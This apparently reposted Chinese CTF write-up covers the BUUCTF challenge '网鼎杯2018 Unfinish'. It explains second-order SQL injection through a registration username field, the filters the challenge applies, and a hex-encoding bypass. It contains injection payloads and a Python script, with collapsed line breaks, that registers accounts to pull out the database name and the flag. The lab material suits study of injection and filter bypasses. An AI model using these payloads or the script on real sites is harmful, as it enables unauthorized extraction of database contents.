【網絡安全】CTF——[網鼎杯2018]Unfinish-SQL注入-二次注入

目錄

一、前言

二、環境

三、復現

3.1尋找注入點? ? ? ??

3.2嘗試盲注? ? ? ??

3.3正則限制? ? ? ?

3.4腳本注入獲取flag

四、總結


一、前言

? ? ? ? 前兩天復現了一道CTF題目[網鼎杯 2018]Comment,今天繼續來學習一下SQL二次注入。

二、環境

BUUCTF在線評測

三、復現

3.1尋找注入點? ? ? ??

????????進到靶場,是一個登錄頁面,但是又沒有給出或提示賬號密碼等信息。我們找一下有沒有注冊頁面。

? ? ? ? 我使用了AWVS工具來掃一下,找找別的目錄。找到了注冊頁面:register.php

????????先注冊賬號進去看一下,登錄進來以后展示的只有一個注冊的用戶名

3.2嘗試盲注? ? ? ??

? ? ? ? 展示的只有用戶名,沒有別的了。好像是在注冊的時候把用戶名存在數據庫里面了,然后展示在前端了。那在注冊的時候用戶名應該怎么注冊。是否能夠二次注入,二次注入就是當存儲的時候經過過濾,但是在出庫的時候沒做好過濾導致出現二次注入。既然展示的是注冊的用戶名,那么存入的時候這個用戶名應該怎么注冊?

嘗試構造sql盲注語句?username=bbb' and left(database(),1)>'a'#

bbb' and left(database(),1)>'a'#

????????注冊的用戶名構造的SQL語句是想從左取第一位,如果為真就返回,如果為假就顯示不出來了。但是不能注冊,那么還能盲注嗎?? ?

? ? ? ?

? ? ? ? 好像是注冊的用戶名加入了單引號,被過濾了,直接顯示nonono。

3.3正則限制? ? ? ?

????????現在需要考慮的是這個正則限制了哪些,能不能繞過?

????????BurpSuite提供的有個功能,能夠爆破。通過看返回值我們能看到過濾了什么,現在去GitHub找字典,然后繼續進行操作。這里可以看到information逗號被過濾了? ? ? ??

? ? ? ? 知道過濾了什么,那繼續測試注冊賬號。注冊的用戶名,但是還是無法顯示。應該被單引號引起來了,導致沒辦法顯示。現在還是沒逃脫單引號的控制。

select database()

????????怎么逃脫單引號呢?假設語句是這樣的:

insert into users (email, username, password) values ('$email', '$username', '$password');

????????閉合他的單引號,注冊用戶名?0'+select database()+'0?直接注冊不成功,沒跳轉到登錄

email=666@qq.com&username=0'+select database()+'0&password=666

? ? ? ? 現在發現在進行正常的注冊、登錄操作時。當注冊成功時,系統返回302跳轉到登錄頁面(注冊失敗時系統返回200)登錄時,使用郵箱和密碼登錄,登錄成功后,系統返回302跳轉到index.php頁面,顯示用戶名。登錄時用到的是郵箱和密碼,而注冊時還有一個用戶名,而這個用戶名會在登錄后顯示,所以我們考慮用戶名這里可能存在二次注入 。

? ? ? ? 沒有注冊成功,試試十六進制能否注冊成功

0'+(select hex(database()))+'0

? ? ? ? 報出來數據庫名了?解碼看一下,數據庫名web

3.4腳本注入獲取flag

????????既然報出庫名了,那下一步就是注入表名和注入列名了。sql注入一般都會用到information_schema這個庫(mysql自帶的庫),禁用掉這個表是一個很好的防御手段,可以使用無列名注入來繞過。

猜測表名直接猜測表名為flag。CTF題目設計慣例默認命名規則:
CTF中Flag通常存儲在名為flag的表或列中(如flag、flags、secret等),這是比賽中的常見設計模式。
繞過信息限制:
當information_schema被過濾時,無法通過系統表查詢數據庫結構,需依賴經驗猜測。
若嘗試flag表名失敗,可繼續測試其他常見表名(如hint、secret)。

import requests
import time
from bs4 import BeautifulSoup    def getDatabase():database = ''for i in range(10):data_database = {'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin11@admin.com"+str(i)}#注冊requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/register.php",data_database)login_data={'password':'admin',"email":"admin11@admin.com"+str(i)}response=requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/login.php",login_data)html=response.text                 soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]username=getUsername.textif int(username)==0:breakdatabase+=chr(int(username))return databasedef getFlag():flag = ''for i in range(40):data_flag = {'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin32@admin.com"+str(i)}#注冊requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/register.php",data_flag)login_data={'password':'admin',"email":"admin32@admin.com"+str(i)}response=requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/login.php",login_data)html=response.text                  soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]username=getUsername.textif int(username)==0:breakflag+=chr(int(username))return flagprint(getDatabase())
print(getFlag())

????????運行結果:flag{228a223c-98f4-421f-ac54-e603170d9485}

四、總結

????????本次學習感受到了在真實環境下確實有很多各式各樣的障礙,在本篇學習的過程中,之前注入都是從infomercial中來注入出表名和列名的。今天學到了如何無列名注入從而繞過infomercial的過濾。下章會更新下無列名的注入。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/92522.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/92522.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/92522.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【langchain】如何給langchain提issue和提pull request?

什么是issue? 可以這么理解,bug是issue的子集。issue可以包含bug\feature\sercurity and others. https://github.com/langchain-ai/langchain/issues/32484 什么是pull request? 其實我真不是很理解,但不妨我來提pr https://github.com/langchain-ai/…

MySQL的存儲引擎:

目錄 InooDB引擎: MyISAM引擎: InooDB引擎與MyISAM存儲引擎的區別: Archive引擎: Blackhole引擎: CSV引擎: Memory引擎: Federated引擎: Merge引擎: NDB引擎&a…

Mock與Stub

一、核心概念與差異對比特性MockStub核心目的驗證對象間的交互行為提供預定義的固定響應驗證重點方法調用次數、參數、順序不關注調用過程,只關注結果行為模擬可編程的智能模擬靜態的簡單響應適用場景驗證協作關系隔離依賴、提供固定數據復雜性較高(需要…

香港服務器容器網絡插件的多節點通信性能基準測試

香港服務器容器網絡插件的多節點通信性能基準測試在云計算和容器化技術快速發展的今天,香港服務器因其優越的地理位置和網絡環境,成為眾多企業部署容器服務的首選。本文將深入探討香港服務器環境下容器網絡插件的多節點通信性能,通過詳實的基…

Vue3 學習教程,從入門到精通,Vue 3 全局 API 語法知識點及案例詳解(32)

Vue 3 全局 API 語法知識點及案例詳解 Vue 3 提供了豐富的全局 API,用于創建應用實例、注冊全局組件、指令、插件等。以下將詳細介紹 Vue 3 的主要全局 API,并結合詳細的案例代碼進行說明。每個案例代碼都包含中文注釋,幫助初學者更好地理解…

UE5多人MOBA+GAS 41、制作一個飛彈,添加準心索敵

文章目錄添加新角色(不寫了)創建一個發射技能創建一個飛彈類添加擊中特效添加準星UI獲取瞄準目標添加新角色(不寫了) 將原本的機器人藍圖改為BP_PlayerCharacter,以此創建子藍圖 創建動畫藍圖模板(具體就…

解決渲染抖動與滾動錨點定位不準確問題的方法與經驗分享

場景描述:React 虛擬列表(Virtualized List)是當我們在處理大列表時,為了提升性能而采用的一種技術。然而在實現過程中,可能會遇到渲染抖動問題以及滾動錨點定位不準確的問題。??解決方案:React虛擬列表實…

OpenAI 時隔多年再開源!GPT-OSS 120B/20B 發布,支持本地部署,消費級 GPU 即可運行

OpenAI 近期做出了一項令人矚目的戰略轉變:宣布推出兩款開放權重(Open Weight) 語言模型 GPT-OSS-120B 和 GPT-OSS-20B。這不僅是其自 GPT-2 之后首次開源模型,更關鍵的是,這兩款模型特別針對消費級硬件進行了深度優化…

MySQL高可用方案之MySQL Group Replication高可用架構搭建完全指南

MySQL Group Replication高可用架構搭建完全指南 前言 在當今互聯網應用中,數據庫高可用性已成為系統設計的核心需求。MySQL作為最流行的開源關系型數據庫之一,其高可用解決方案備受關注。MySQL Group Replication是MySQL官方推出的原生高可用解決方案,它基于Paxos協議實現…

網站SSL證書到期如何更換?簡單完整操作指南

----------------------------------------------------------------------------------------------- 這是我在我的網站中截取的文章,有更多的文章歡迎來訪問我自己的博客網站rn.berlinlian.cn,這里還有很多有關計算機的知識,歡迎進行留言或…

Spring Boot 開發三板斧:POM 依賴、注解與配置管理

引言 Spring Boot 是一個功能強大且廣受歡迎的框架,用于快速構建基于 Spring 的應用。它通過簡化配置和自動化管理,幫助開發者專注于業務邏輯的實現。然而,要想高效地開發 Spring Boot 應用,掌握以下三個關鍵點至關重要&#xff1…

kubernetes安裝搭建

個人博客站—運維鹿:http://www.kervin24.top/ CSDN博客—做個超努力的小奚: https://blog.csdn.net/qq_52914969?typeblog 一、kubernetes介紹 Kubernetes本質是一組服務器集群,它可以在集群的每個節點上運行特定的程序,來對節點中的容…

MySQL高可用方案之MySQL InnoDB Cluster高可用架構實戰指南:從零搭建到生產部署

MySQL InnoDB Cluster高可用架構實戰指南:從零搭建到生產部署 一、引言:為什么選擇MySQL InnoDB Cluster 在當今數據驅動的商業環境中,數據庫高可用性已成為企業IT基礎設施的核心需求。MySQL作為全球最受歡迎的開源關系型數據庫,其高可用解決方案備受關注。而MySQL InnoD…

祝融號無線電工作頻段

前面深入查證了旅行者1號的無線電工作頻段: 旅行者1號無線電工作頻段-CSDN博客 下面嘗試查證我國祝融號無線電工作頻段。 一、百度百科 來自百度百科: 我注意到一條關鍵信息: 這說明祝融號在國際上是有合作的,而不是我們國家單…

Kafka生產者相關原理

前言前面已經介紹了Kafka的架構知識并引出了Kafka的相關專業名稱進行解釋這次分享一下Kafka對生產者發送消息進行處理的運行機制和原理生產者發送消息兩種方式同步發送消息程序中線程執行完消息發送操作之后會等待Kafka的消息回應ack默認等待30秒沒有回應就會拋出異常等待時間和…

Python 獲取對象信息的所有方法

在 Python 里,我們經常需要檢查一個對象的類型、屬性、方法,甚至它的源碼。這對調試、學習和動態編程特別有用。今天我們就來聊聊獲取對象信息的常見方法,按由淺入深的順序來學習。 參考文章:Python 獲取對象信息 | 簡單一點學習…

vuhub Beelzebub靶場攻略

靶場下載: 下載地址:https://download.vulnhub.com/beelzebub/Beelzebub.zip 靶場攻略: 主機發現: nmap 192.168.163.1/24 端口掃描: nmap -p-65535 -A 192.168.163.152 發現沒有額外端口。 頁面掃描&#xff1…

開啟單片機

前言:為未來拼搏的第n天,從單片機開始。為什么要學習單片機呢,單片機的工作涉及范圍及其廣如:消費電子,游戲機音響;工業控制:機器人控制;醫療設備,通信設備,物…

人工智能系列(8)如何實現無監督學習聚類(使用競爭學習)?

案例:鳶尾花數據集的聚類一.聚類簡介神經網絡能夠從輸入數據中自動提取有意義的特征,而競爭學習規則使得單層神經網絡能夠根據相似度將輸入樣本進行聚類,每個聚類由一個輸出神經元代表并作為該類別的“原型”,從而實現對輸入模式的…

Windows安裝mamba全流程(全網最穩定最成功)

windows系統下安裝mamba會遇到各種各樣的問題。博主試了好幾天,把能踩的坑都踩了,總結出了在windows下安裝mamba的一套方法,已經給實驗室的windows服務器都裝上了。只要跟著我的流程走下來,大概率不會出問題,如果遇到其…